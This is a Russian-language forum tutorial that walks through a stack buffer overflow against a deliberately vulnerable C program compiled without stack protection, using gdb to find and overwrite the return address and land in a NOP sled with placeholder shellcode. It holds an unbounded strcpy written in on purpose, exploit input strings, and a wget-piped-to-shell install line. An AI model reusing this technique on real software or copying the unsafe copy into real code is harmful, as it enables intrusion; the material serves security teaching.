Что нового

Article Переполнение стека. Практикуемся на программе без защиты.

Shodus 0

Shodus

Newbie
11.07.2020
14
28
Доброго времени суток!

Хочу рассказать о переполнение стека без защиты программы. В данной статье мы не будем обходить какие-либо защиты, так как их не будет.

План:
  • Подготовка Лаборатории
  • Ассемблер и отладчик
  • Эксплуатация
  • Небольшой лайфхак

1610720681683.png

Подготовка Лаборатории

Создадим виртуальную машину linux на архитектуре x86 ( 32 битная ). Установим отладчик gdb и расширение gef для более удобной работы.
Код:
sudo apt install gdb
sh -c "$(wget http://gef.blah.cat/sh -O -)"
1610713484957.png


На первых этапах нам нужно будет отключить ASLR. Это рандомизация размещения адресного пространства. Команда для отключения: echo 0 > /proc/sys/kernel/randomize_va_space
После этого нужно будет выйти из системы командой logout.

Программа для изучения

C:
#include <string.h>

void copy(char *data) {
  char buffer[32];
  strcpy(buffer, data);
}

void main(int argc, char *argv[]) {
  copy(argv[1]);
}
Компилируем:

Код:
gcc copy_buffer.c -o copy_buffer -g -fno-stack-protector -fno-builtin -z execstack

# -o - имя выходного файла
# -g - включить отладочные символы
# -fno-stack-protector - Отключает защиту компилятора от атак типа Stack Smashing.
# -fno-builtin - В программе не распознаются встроенные функции кроме тех, имена которых начинаются с двух подчеркиваний
# -z execstack - Означает, что инструкции, расположенные в стеке, могут быть выполнены.
Наша программа копирует данные, вводимые пользователем в массив. Его размер 32 байта. Запускаем программу: ./copy_buffer TEST

Передадим строку больше 32 символов. И посмотрим на реакцию программы. Python поможет нам в генерации строки состоящей из nop инструкций ( 90h ) длиной 40 символов. Команда: ./copy_buffer $(python -c 'print "\x90" * 40')

Программа упала и выдала ошибку "Segmentation fault".


Ассемблер и отладчик

Запускаем эту программу в отладчике gdb gdb -q copy_buffer ( -q значит не выводить слишком подробную информацию ). Перезапустим программу, но переполнять буфер в данный момент не будем. Используем команду r $(python -c 'print "\x90" * 32'). Дизассемблируем функцию copy командой disas copy

Функция copy

C-подобный:
   0x00401199 <+0>:     push   ebp
   0x0040119a <+1>:     mov    ebp,esp
   0x0040119c <+3>:     push   ebx
   0x0040119d <+4>:     sub    esp,0x24
   0x004011a0 <+7>:     call   0x4011fe <__x86.get_pc_thunk.ax>
   0x004011a5 <+12>:    add    eax,0x2e5b
   0x004011aa <+17>:    sub    esp,0x8
   0x004011ad <+20>:    push   DWORD PTR [ebp+0x8] ; передача аргументов через инструкцию push
   0x004011b0 <+23>:    lea    edx,[ebp-0x28]
   0x004011b3 <+26>:    push   edx ; передача аргументов через инструкцию push
   0x004011b4 <+27>:    mov    ebx,eax
   0x004011b6 <+29>:    call   0x401030 <strcpy@plt>
   0x004011bb <+34>:    add    esp,0x10
   0x004011be <+37>:    nop
   0x004011bf <+38>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x004011c2 <+41>:    leave
   0x004011c3 <+42>:    ret

Нас интересует функция strcpy. Ставим точку останова на этой функции b *0x004011b6 и нажимаем r $(python -c 'print "\x90" * 32'). Посмотрим на вершину стека перед вызовом и после. Регистр ESP нам в помощь. Выведем 24 значение word из стека x/24xw $esp

Вершина стека

C-подобный:
0xbffff150:     0xbffff160      0xbffff439      0xb7fb4000      0x004011a5
0xbffff160:     0x00000000      0x00200000      0xb7e0bcb9      0xb7fb7588
0xbffff170:     0xb7fb4000      0xb7fb4000      0x00000000      0xb7e0bdfb
0xbffff180:     0xb7fb43fc      0x00000000      0xbffff1a8      0x004011f2
0xbffff190:     0xbffff439      0xbffff254      0xbffff260      0x004011da
0xbffff1a0:     0xb7fe6520      0xbffff1c0      0x00000000      0xb7df4b41
Выполним функцию strcpy. Команда ni для перехода к следующей инструкции без входа в функцию. Посмотрим на значения в стеке теперь.

Вершина стека

C-подобный:
0xbffff150:     0xbffff160      0xbffff439      0xb7fb4000      0x004011a5
0xbffff160:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff170:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff180:     0xb7fb4300      0x00000000      0xbffff1a8      0x004011f2
0xbffff190:     0xbffff439      0xbffff254      0xbffff260      0x004011da
0xbffff1a0:     0xb7fe6520      0xbffff1c0      0x00000000      0xb7df4b41
Строки 0x90909090 это наши nop инструкции. Строки 0xb7fb4300 0x00000000 0xbffff1a8 не очень важны для нас. А вот значение 0x004011da важно. Это адрес возврата, который будет использоваться в инструкции retn.
Проверить это можно так: дизассемблируем инструкцию main: disas main. Адрес 0x004011f2 идёт после инструкции copy. Адрес возврата из функции copy.

Функция main

C-подобный:
   0x004011c4 <+0>:     lea    ecx,[esp+0x4]
   0x004011c8 <+4>:     and    esp,0xfffffff0
   0x004011cb <+7>:     push   DWORD PTR [ecx-0x4]
   0x004011ce <+10>:    push   ebp
   0x004011cf <+11>:    mov    ebp,esp
   0x004011d1 <+13>:    push   ecx
   0x004011d2 <+14>:    sub    esp,0x4
   0x004011d5 <+17>:    call   0x4011fe <__x86.get_pc_thunk.ax>
   0x004011da <+22>:    add    eax,0x2e26
   0x004011df <+27>:    mov    eax,ecx
   0x004011e1 <+29>:    mov    eax,DWORD PTR [eax+0x4]
   0x004011e4 <+32>:    add    eax,0x4
   0x004011e7 <+35>:    mov    eax,DWORD PTR [eax]
   0x004011e9 <+37>:    sub    esp,0xc
   0x004011ec <+40>:    push   eax
   0x004011ed <+41>:    call   0x401199 <copy>
   0x004011f2 <+46>:    add    esp,0x10
   0x004011f5 <+49>:    nop
   0x004011f6 <+50>:    mov    ecx,DWORD PTR [ebp-0x4]
   0x004011f9 <+53>:    leave
   0x004011fa <+54>:    lea    esp,[ecx-0x4]
   0x004011fd <+57>:    ret

Эксплуатация

Представьте себе, что мы можем перезаписать адрес возврата. При переполнении буфера наши инструкции nop "перетирают" адрес возврата и программе некуда вернуться из функции copy. Вот почему возникает ошибка "Segmentation fault".
Проверим это: перезапустим программу со строкой длиной в 48 символов r $(python -c 'print "\x90" * 48') и посмотрим стек после функции strcpy. Команда: x/24xw $esp. Адреса 0x004011f2 нет в стеке.

Стек

C-подобный:
0xbffff140:     0xbffff150      0xbffff429      0xb7fb4000      0x004011a5
0xbffff150:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff160:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff170:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff180:     0xbffff400      0xbffff244      0xbffff250      0x004011da
0xbffff190:     0xb7fe6520      0xbffff1b0      0x00000000      0xb7df4b41
Теперь перезапишем значение адреса возврата. Размер буфера = 32 байтам. Строки 0xb7fb4300 0x00000000 0xbffff1a8 занимают 12 байтов ( 4 * 3 ). Далее идёт адрес возврата. 32 + 12 = 44 байта, которые мы заполним nop инструкциями, далее напишем адрес возврата. Учитывайте порядок байтов в программе. В нашей программе это little-endian. Например: адрес 0xbffff190 будет записан так 90f1ffbf в python мы запишем вот так: \x90\xf1\xff\xbf.

1610711895752.png


Мы используем инструкции nop ( 0x90 ), чтобы протестировать работы инструкций в стеке. Наша команда для перезапуска: r $(python -c 'print "\x90" * 44 + "\x90\xf1\xff\xbf" + "\x90" * 10 '). Смотрим стек, после инструкции strcpy командой x/24xw $esp.

C-подобный:
0xbffff130:     0xbffff140      0xbffff41f      0xb7fb4000      0x004011a5
0xbffff140:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff150:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff160:     0x90909090      0x90909090      0x90909090      0xbffff190
0xbffff170:     0x90909090      0x90909090      0xbf009090      0x004011da
0xbffff180:     0xb7fe6520      0xbffff1a0      0x00000000      0xb7df4b41
Мы не угадали адрес возврата. Адрес возврата, который мы написали 0xbffff190, а нужный нам адрес 0xbffff170 или 0xbffff140 либо другие адреса, где находятся nop инструкции. Корректируем: r $(python -c 'print "\x90" * 44 + "\x70\xf1\xff\xbf" + "\x90" * 10 ').

Стек

C-подобный:
0xbffff130:     0xbffff140      0xbffff41f      0xb7fb4000      0x004011a5
0xbffff140:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff150:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff160:     0x90909090      0x90909090      0x90909090      0xbffff170
0xbffff170:     0x90909090      0x90909090      0xbf009090      0x004011da
0xbffff180:     0xb7fe6520      0xbffff1a0      0x00000000      0xb7df4b41
Дойдём до инструкции retn по адресу 0x004011c3.

Функция main

C-подобный:
   0x00401199 <+0>:     push   ebp
   0x0040119a <+1>:     mov    ebp,esp
   0x0040119c <+3>:     push   ebx
   0x0040119d <+4>:     sub    esp,0x24
   0x004011a0 <+7>:     call   0x4011fe <__x86.get_pc_thunk.ax>
   0x004011a5 <+12>:    add    eax,0x2e5b
   0x004011aa <+17>:    sub    esp,0x8
   0x004011ad <+20>:    push   DWORD PTR [ebp+0x8] ; передача аргументов через инструкцию push
   0x004011b0 <+23>:    lea    edx,[ebp-0x28]
   0x004011b3 <+26>:    push   edx ; передача аргументов через инструкцию push
   0x004011b4 <+27>:    mov    ebx,eax
   0x004011b6 <+29>:    call   0x401030 <strcpy@plt>
   0x004011bb <+34>:    add    esp,0x10
   0x004011be <+37>:    nop
   0x004011bf <+38>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x004011c2 <+41>:    leave
   0x004011c3 <+42>:    ret
Когда программа выполнила возврата, мы посмотрим какие идут следующие инструкции ( регистр EIP поможет нам ): x/5i $eip

C-подобный:
=> 0xbffff170:  nop
   0xbffff171:  nop
   0xbffff172:  nop
   0xbffff173:  nop
   0xbffff174:  nop
Это наши nop инструкции. Здесь может быть ваш шелл-код.


Небольшой лайфхак

Главное указать правильный адрес возврата для шелл-кода. Сам шеллкод может быть после адреса возврата, но тогда стек-фрейм может быть повреждён.
Шелл-код можно разместить до адреса возврата, не зная адрес возврата! "Волшебные" nop инструкции нам помогут здесь. 99 % nop инструкций и 1% шел-кода :)
Вставляем сначала nop инструкции, а затем шелл-код. Для примера шелл-кодом будет буква A ( 0x41 ). r $(python -c 'print "\x90" * 32 + "\x41\x41\x41\x41" * 3 + "\x90\xf1\xff\xbf"').

Стек

C-подобный:
0xbffff180:     0xbffff190      0xbffff46a      0xb7fb4000      0x004011a5
0xbffff190:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff1a0:     0x90909090      0x90909090      0x90909090      0x90909090
0xbffff1b0:     0x41414141      0x41414141      0x41414141      0xbffff190
0xbffff1c0:     0xbffff400      0xbffff284      0xbffff290      0x004011da
0xbffff1d0:     0xb7fe6520      0xbffff1f0      0x00000000      0xb7df4b4
Дойдём до инструкции retn, выполним её и посмотрим на регистр eip командой x/35i $eip. По адресу 0xbffff1b0 наш фальшивый шелл-код.

C-подобный:
=> 0xbffff190:  nop
   0xbffff191:  nop
   0xbffff192:  nop
   0xbffff193:  nop
   0xbffff194:  nop
   0xbffff195:  nop
   0xbffff196:  nop
   0xbffff197:  nop
   0xbffff198:  nop
   0xbffff199:  nop
   0xbffff19a:  nop
   0xbffff19b:  nop
   0xbffff19c:  nop
   0xbffff19d:  nop
   0xbffff19e:  nop
   0xbffff19f:  nop
   0xbffff1a0:  nop
   0xbffff1a1:  nop
   0xbffff1a2:  nop
   0xbffff1a3:  nop
   0xbffff1a4:  nop
   0xbffff1a5:  nop
   0xbffff1a6:  nop
   0xbffff1a7:  nop
   0xbffff1a8:  nop
   0xbffff1a9:  nop
   0xbffff1aa:  nop
   0xbffff1ab:  nop
   0xbffff1ac:  nop
   0xbffff1ad:  nop
   0xbffff1ae:  nop
   0xbffff1af:  nop
   0xbffff1b0:  inc    ecx ; Наш фальшивый шелл-код
   0xbffff1b1:  inc    ecx
   0xbffff1b2:  inc    ecx
   0xbffff1b3:  inc    ecx
   0xbffff1b4:  inc    ecx
   0xbffff1b5:  inc    ecx
   0xbffff1b6:  inc    ecx
   0xbffff1b7:  inc    ecx
   0xbffff1b8:  inc    ecx
   0xbffff1b9:  inc    ecx
   0xbffff1ba:  inc    ecx
   0xbffff1bb:  inc    ecx
   0xbffff1bc:  nop

2021-01-15_04-38.png

Напомню, что наша программа голая и без защиты типа ASLR или Stack Canary.

Спасибо за внимание. Удачи вам.
 
Верх Низ